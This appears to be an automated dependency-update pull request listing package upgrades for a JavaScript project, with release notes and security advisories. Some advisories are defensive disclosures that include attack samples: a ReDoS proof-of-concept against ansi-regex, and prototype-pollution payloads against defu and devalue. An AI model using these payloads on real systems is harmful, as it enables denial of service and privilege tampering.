Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
Release v1.2.4Prerelease v1.2.4-rc.0Upgrade to libvips v8.17.3Bump dep: glib (#299)Bump dep: rsvg (#298)aom: patch to allow use of nasm v3 (as now provided by homebrew)Bump deps: archive, xml2CI: Update macOS to 15 (Sequoia)mozjpeg: temporarily build from latest commitBump dep: harfbuzzBump deps: expat, harfbuzz, tiff (#297)
βοΈ @βimg/sharp-libvips-linux-x64 (indirect, 1.0.4 β 1.2.4) Β· Repo
Release Notes
1.2.4
Dependency Version aom 3.13.1 archive 3.8.2 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.3 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.1 harfbuzz 12.1.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 0826579 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.2 spng 0.7.4 tiff 4.7.1 vips 8.17.3 webp 1.6.0 xml2 2.15.1 zlib-ng 2.2.5
1.2.3
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.2 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.15.0 zlib-ng 2.2.5
1.2.2
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.1 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.14.6 zlib-ng 2.2.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
Release v1.2.4Prerelease v1.2.4-rc.0Upgrade to libvips v8.17.3Bump dep: glib (#299)Bump dep: rsvg (#298)aom: patch to allow use of nasm v3 (as now provided by homebrew)Bump deps: archive, xml2CI: Update macOS to 15 (Sequoia)mozjpeg: temporarily build from latest commitBump dep: harfbuzzBump deps: expat, harfbuzz, tiff (#297)
βοΈ @βimg/sharp-libvips-linuxmusl-arm64 (indirect, 1.0.4 β 1.2.4) Β· Repo
Release Notes
1.2.4
Dependency Version aom 3.13.1 archive 3.8.2 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.3 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.1 harfbuzz 12.1.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 0826579 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.2 spng 0.7.4 tiff 4.7.1 vips 8.17.3 webp 1.6.0 xml2 2.15.1 zlib-ng 2.2.5
1.2.3
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.2 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.15.0 zlib-ng 2.2.5
1.2.2
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.1 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.14.6 zlib-ng 2.2.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
Release v1.2.4Prerelease v1.2.4-rc.0Upgrade to libvips v8.17.3Bump dep: glib (#299)Bump dep: rsvg (#298)aom: patch to allow use of nasm v3 (as now provided by homebrew)Bump deps: archive, xml2CI: Update macOS to 15 (Sequoia)mozjpeg: temporarily build from latest commitBump dep: harfbuzzBump deps: expat, harfbuzz, tiff (#297)
βοΈ @βimg/sharp-libvips-linuxmusl-x64 (indirect, 1.0.4 β 1.2.4) Β· Repo
Release Notes
1.2.4
Dependency Version aom 3.13.1 archive 3.8.2 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.3 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.1 harfbuzz 12.1.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 0826579 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.2 spng 0.7.4 tiff 4.7.1 vips 8.17.3 webp 1.6.0 xml2 2.15.1 zlib-ng 2.2.5
1.2.3
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.2 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.15.0 zlib-ng 2.2.5
1.2.2
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.1 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.14.6 zlib-ng 2.2.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
Release v1.2.4Prerelease v1.2.4-rc.0Upgrade to libvips v8.17.3Bump dep: glib (#299)Bump dep: rsvg (#298)aom: patch to allow use of nasm v3 (as now provided by homebrew)Bump deps: archive, xml2CI: Update macOS to 15 (Sequoia)mozjpeg: temporarily build from latest commitBump dep: harfbuzzBump deps: expat, harfbuzz, tiff (#297)
βοΈ @βimg/sharp-linux-arm (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βimg/sharp-linux-arm64 (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βimg/sharp-linux-s390x (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βimg/sharp-linux-x64 (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βimg/sharp-linuxmusl-arm64 (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βimg/sharp-linuxmusl-x64 (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βimg/sharp-wasm32 (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βimg/sharp-win32-ia32 (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βimg/sharp-win32-x64 (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βjridgewell/sourcemap-codec (indirect, 1.5.0 β 1.5.5) Β· Repo Β· Changelog
βοΈ @βrollup/pluginutils (indirect, 5.2.0 β 5.3.0) Β· Repo Β· Changelog
Release Notes
5.3.0 (from changelog)
2025-09-04
Features
- feat: add
suffixRegex& support multiple string (#1886)
Does any of this look wrong? Please let us know.
βοΈ ansi-regex (indirect, 5.0.1 β 6.2.2) Β· Repo
Security Advisories π¨
π¨ Inefficient Regular Expression Complexity in chalk/ansi-regex
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") }The ReDOS is mainly due to the sub-patterns
[[\\]()#;?]*and(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
Release Notes
6.2.2
- Fix vulnerability in 6.2.1, see: chalk/chalk#656
6.2.0
6.1.0
6.0.1
Fixes
- Fix ReDoS in certain cases (#37)
You are only really affected if you run the regex on untrusted user input in a server context, which it's very unlikely anyone is doing, since this regex is mainly used in command-line tools.Thank you @yetingli for the patch and reproduction case!
6.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 63 commits:
6.2.26.2.0Add test for #57Simplify regexSupport colon separated parameters to control sequences (#62)Readme update6.1.0Fix: Handle all valid ST characters (#58)Meta tweaksMatch cursorSave and cursorRestore escape codes (#45)fix incorrect format6.0.1Fix potential ReDoS (#37)6.0.0Require Node.js 12 and move to ESMMove to GitHub Actions (#35)Add @Qix- to funding.yml5.0.0Meta tweaksAdd TypeScript definition (#32)Require Node.js 8Tidelift tasks4.1.0Support more escape types like links (#29)Add Tidelift mention in the readme4.0.0Require Node.js 6Add option to only match the first occurrence (#24)Add scroll escapes (#20)Add failing test for #21 (#22)3.0.0Minor tweaksSupport urxvt escapes (#13)Use Map instead of Object for the fixturesRequire Node.js 4 and meta tweaks2.1.1Support `[P` escape (delete character) (#10)Use last XO & AVA versions that supports Node.js 0.10 and 0.12 (#11)Use AVA instead of mocha (#7)added question regarding non-standard codesadd XOadded Qix as maintainerupdate references to new org2.0.0tweaksMerge pull request #4 from Qix-/better-regeximproved ANSI pattern to match more codesadded complete code and overconsumption tests1.1.1Updates maintainer info.Update .travis.yml1.1.0code stylemake the regex groups non-capturingClose GH-2: Updated the regex to match ANSI spec..1.0.0tweaks0.2.1don't need capturing groups0.2.0make it a function and add explanation of why0.1.0init
βοΈ ci-info (indirect, 4.2.0 β 4.4.0) Β· Repo Β· Changelog
Release Notes
4.4.0
- add aplic support f329ff5
4.3.1
Bug Fixes
- don't read envs when CI is set to false 3fae1ac
4.3.0
- support Cloudflare workers e438266
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 15 commits:
chore: fix release scriptrelease: v4.4.0feat: add alpic support (#143)Update READMEchore: ignore lockfilechore: commit lockfileci: fix publish scriptrelease: v4.3.1ci: bump actionsci: add npm publish actionfix: don't read envs when explicitly not in CI (#140)release: v4.3.0chore: bump dependenciesfeat: add cloudlfare workers (#138)Cleanup hooks
βοΈ common-ancestor-path (indirect, 1.0.1 β 2.0.0) Β· Repo
Commits
See the full diff on Github. The new version differs by 2 commits:
βοΈ cookie (indirect, 1.0.2 β 1.1.1) Β· Repo Β· Changelog
Release Notes
1.1.1
Fixed
- Overwrite value in passed in options (#253) c66147c
- When
valuewas provided inserialize(key, value, { value })the value inoptionswas used instead of the value passed as an argument
1.1.0
Added:
- Add
stringifyCookieandparseSetCookiemethods (#244, #214)- Rename existing methods for clarity (old method names remain for backward compatibility)
parseβparseCookieserializeβstringifySetCookie- Add side effects field (#245) 00b0327
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
1.1.1Overwrite value in passed in options (#253)1.1.0Add tests for parsing top sites (#249)Add benchmark for `parseSetCookie` (#247)Fix skip over of boolean attributes (#248)build(deps): bump the npm_and_yarn group across 1 directory with 4 updates (#251)Add parse method for `set-cookie` (#244)Add side effects field (#245)feat: remove dependabot from repo (#242)Add stringify method to mirror parse (#214)build(deps): bump actions/checkout from 4 to 5 (#241)chore: add funding to package.json (#238)Fix grammar in docs (#235)ci: apply OSSF Scorecard security best practices (#226)fix(docs): remove security file (#218)
βοΈ cookie-es (indirect, 1.2.2 β 1.2.3) Β· Repo Β· Changelog
Commits
See the full diff on Github. The new version differs by 3 commits:
βοΈ debug (indirect, 4.4.1 β 4.4.3) Β· Repo Β· Changelog
Security Advisories π¨
π¨ debug@4.4.2 contains malware after npm account takeover
Impact
On 8 September 2025, the npm publishing account for
debugwas taken over after a phishing attack. Version4.4.2was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments.Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct
<script>inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt.The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. See references below for more information on the payload.
Patches
npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper.
On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. This version is functionally identical to the previously known-good version, published as a patch version bump above the compromised version.
Users should upgrade to the latest patch version, completely remove their
node_modulesdirectory, clean their package manager's global cache, and rebuild any browser bundles from scratch.Those operating private registries or registry mirrors should purge the offending versions from any caches.
References
- https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
- https://socket.dev/blog/npm-author-qix-compromised-in-major-supply-chain-attack
- https://www.ox.security/blog/npm-packages-compromised/
Point of Contact
In the event suspicious behavior is still observed for the package listed in this security advisory after performing all of the above cleaning operations (see Patches above), please reach out via one of the following channels of communication:
- Bluesky, package owner: https://bsky.app/profile/bad-at-computer.bsky.social
debugrepository, tracking issue (applies to all packages affected in the breach): #1005
Release Notes
4.4.3
Functionally identical release to
4.4.1.Version
4.4.2is compromised. Please see #1005.
Does any of this look wrong? Please let us know.
βοΈ defu (indirect, 6.1.4 β 6.1.7) Β· Repo Β· Changelog
Security Advisories π¨
π¨ defu: Prototype pollution via `__proto__` key in defaults argument
Impact
Applications that pass unsanitized user input (e.g. parsed JSON request bodies, database records, or config files from untrusted sources) as the first argument to
defu()are vulnerable to prototype pollution.A crafted payload containing a
__proto__key can override intended default values in the merged result:import { defu } from 'defu' const userInput = JSON.parse('{"__proto__":{"isAdmin":true}}') const config = defu(userInput, { isAdmin: false }) config.isAdmin // true β attacker overrides the server defaultRoot Cause
The internal
_defufunction usedObject.assign({}, defaults)to copy the defaults object.Object.assigninvokes the__proto__setter, which replaces the resulting object's[[Prototype]]with attacker-controlled values. Properties inherited from the polluted prototype then bypass the existing__proto__key guard in thefor...inloop and land in the final result.Fix
Replace
Object.assign({}, defaults)with object spread ({ ...defaults }), which uses[[DefineOwnProperty]]and does not invoke the__proto__setter.Affected Versions
<= 6.1.4
Credits
Reported by @BlackHatExploitation
Release Notes
6.1.7
π¦ Build
β€οΈ Contributors
- Jakub MichΓ‘lek (@J-Michalek)
- Kricsleo (@kricsleo)
6.1.6
π¦ Build
- Fix mixed types (407b516)
6.1.5
π©Ή Fixes
- Prevent prototype pollution via
__proto__in defaults (#156)- Ignore inherited enumerable properties (11ba022)
β Tests
- Add more tests for plain objects (b65f603)
β€οΈ Contributors
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 17 commits:
chore(release): v6.1.7fix(defu.d.cts): export Defu types (#157)build: correct the `types` export entry (#160)chore(release): v6.1.6build: fix mixed typeschore(release): v6.1.5fix: ignore inherited enumerable propertiesfix: prevent prototype pollution via `__proto__` in defaults (#156)chore(deps): update actions/checkout action to v6 (#151)chore(deps): update actions/setup-node action to v6 (#149)chore(deps): update codecov/codecov-action action to v6 (#154)chore: fix typecheckci: bump nodechore: update repochore: add tea.yamltest: add more tests for plain objectschore(release): v6.1.4
βοΈ detect-libc (indirect, 2.0.4 β 2.1.2) Β· Repo Β· Changelog
Commits
See the full diff on Github. The new version differs by 11 commits:
Release v2.1.2Ensure Node.js 10 and 12 can use async file-based detection methods (#33)Add semi-automated changelog #32Release v2.1.1Ensure Node.js 10 and 12 can use file-based detection methods (#30)Release v2.1.0CI: Add non-Linux integration tests for completenessPrerelease v2.1.0-rc.0CI: Publish tagged commits to npmDetect libc using the interpreter value from Node's ELF headerCI: update integration test expectations
βοΈ devalue (indirect, 5.3.2 β 5.7.1) Β· Repo Β· Changelog
Security Advisories π¨
π¨ devalue has prototype pollution in devalue.parse and devalue.unflatten
In devalue v5.6.3,
devalue.parseanddevalue.unflattenwere susceptible to prototype pollution via maliciously crafted payloads. Successful exploitation could lead to Denial of Service (DoS) or type confusion.
π¨ Sveltejs devalue's `devalue.parse` and `devalue.unflatten` emit objects with `__proto__` own properties
In some circumstances,
devalue.parseanddevalue.unflattencould emit objects with__proto__own properties. This in and of itself is not a security vulnerability (and is possible with, for example,JSON.parseas well), but it can result in prototype injection if downstream code handles it incorrectly:const result = devalue.parse(/* input creating an object with a __proto__ property */); const target = {}; Object.assign(target, result); // target's prototype is now polluted
π¨ devalue `uneval`ed code can create objects with polluted prototypes when `eval`ed
Under certain circumstances,
unevaling untrusted data can produce output code that will create objects with polluted prototypes when laterevaled, meaning the output data can be a different shape from the input data.
π¨ devalue affected by CPU and memory amplification from sparse arrays
Under certain circumstances, serializing sparse arrays using
unevalorstringifycould cause CPU and/or memory exhaustion. When this occurs on the server, it results in a DoS. This is extremely difficult to take advantage of in practice, as an attacker would have to manage to create a sparse array on the server β which is impossible in every mainstream wire format β and then that sparse array would have to be run throughunevalorstringify.
π¨ Devalue is vulnerable to denial of service due to memory exhaustion in devalue.parse
Summary
Certain inputs can cause
devalue.parseto consume excessive CPU time and/or memory, potentially leading to denial of service in systems that parse input from untrusted sources. This affects applications usingdevalue.parseon externally-supplied data. The root cause is the typed array hydration expecting anArrayBufferas input, but not checking the assumption before creating the typed array.Details
The parser's typed array hydration logic does not properly validate input before processing. Specially crafted inputs can cause disproportionate memory allocation or CPU usage on the receiving system.
Impact
This is a denial of service vulnerability affecting systems that use
devalue.parseto handle data from potentially untrusted sources.Affected systems should upgrade to patched versions immediately.
π¨ devalue vulnerable to denial of service due to memory/CPU exhaustion in devalue.parse
Summary
Certain inputs can cause
devalue.parseto consume excessive CPU time and/or memory, potentially leading to denial of service in systems that parse input from untrusted sources. This affects applications usingdevalue.parseon externally-supplied data. The root cause is theArrayBufferhydration expecting base64 encoded strings as input, but not checking the assumption before decoding the input.Details
The parser's
ArrayBufferhydration logic does not properly validate input before processing. Specially crafted inputs can cause disproportionate memory allocation or CPU usage on the receiving system.Impact
This is a denial of service vulnerability affecting systems that use
devalue.parseto handle data from potentially untrusted sources.Affected systems should upgrade to patched versions immediately.
Release Notes
5.7.1
Patch Changes
- 8becc7c: fix: handle regexes consistently in uneval's value and reference formats
5.7.0
Minor Changes
- df2e284: feat: use native alternatives to encode/decode base64
- 498656e: feat: add
DataViewsupport- a210130: feat: whitelist
Float16Array- df2e284: feat: simplify TypedArray slices
Patch Changes
5.6.4
Patch Changes
87c1f3c: fix: reject
__proto__keys in malformedObjectwrapper payloadsThis validates the
"Object"parse path and throws when the wrapped value has an own__proto__key.40f1db1: fix: ensure sparse array indices are integers
87c1f3c: fix: disallow
__proto__keys in null-prototype object parsingThis disallows
__proto__keys in the"null"parse path so null-prototype object hydration cannot carry that key through parse/unflatten.
5.6.3
Patch Changes
5.6.2
Patch Changes
5.6.1
Patch Changes
- 2161d44: fix: add hasOwn check before calling reviver
5.6.0
Minor Changes
5.5.0
Minor Changes
- 828fa1c: Enable support for custom reducer/reviver for "function" values
5.4.2
Patch Changes
- 5c26c0d: fix: allow custom revivers to revive things serialized by builtin reducers
5.4.1
Patch Changes
- ca3c7b6: chore: Remove impossible
voidtype from replacer'suneval
5.4.0
Minor Changes
- 9306d09: feat: pass
unevalto replacer, for handling nested custom typesPatch Changes
- b617c7c: perf: shrink
unevaloutput with null-proto objects
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 37 commits:
Version Packages (#146)fix: handle regexes consistently in uneval's value and reference formats (#145)Version Packages (#144)DataView support (#143)Improve platform types support (#142)fix: support boxed `bigint`s and sentinel values (#141)Add prettier configuration (#140)feat: whitelist `Float16Array` (#137)feat: use native alternatives to encode/decode base64 (#136)chore: add simple benchmarks (#135)fix: rename test file so uvu picks it up (#134)Version Packages (#133)Merge commit from forkMerge commit from forkVersion Packages (#132)Merge commit from forkMerge commit from forkfix testsVersion Packages (#131)Merge commit from forkMerge commit from forkVersion Packages (#129)Bump js-yaml from 3.14.1 to 3.14.2 (#125)fix: add hasOwn check before calling reviver (#128)Version Packages (#127)Add `value` and `root` properties in `DevalueError` instances (#126)Version Packages (#124)Enable support for custom reducer/reviver for "function" values (#123)Version Packages (#119)fix: allow custom revivers to revive things serialized by buitin reducers (#118)Version Packages (#117)chore: Remove impossible `void` type from replacer's `uneval` (#116)Version Packages (#115)feat: pass `uneval` to replacer, for handling nested custom types (#114)chore: simplify NullObject (#104)perf: shrink `uneval` output with null-proto objects (#112)set up OIDC publishing (#111)
βοΈ diff (indirect, 5.2.0 β 8.0.4) Β· Repo
Security Advisories π¨
π¨ jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch
Impact
Attempting to parse a patch whose filename headers contain the line break characters
\r,\u2028, or\u2029can cause theparsePatchmethod to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.Applications are therefore likely to be vulnerable to a denial-of-service attack if they call
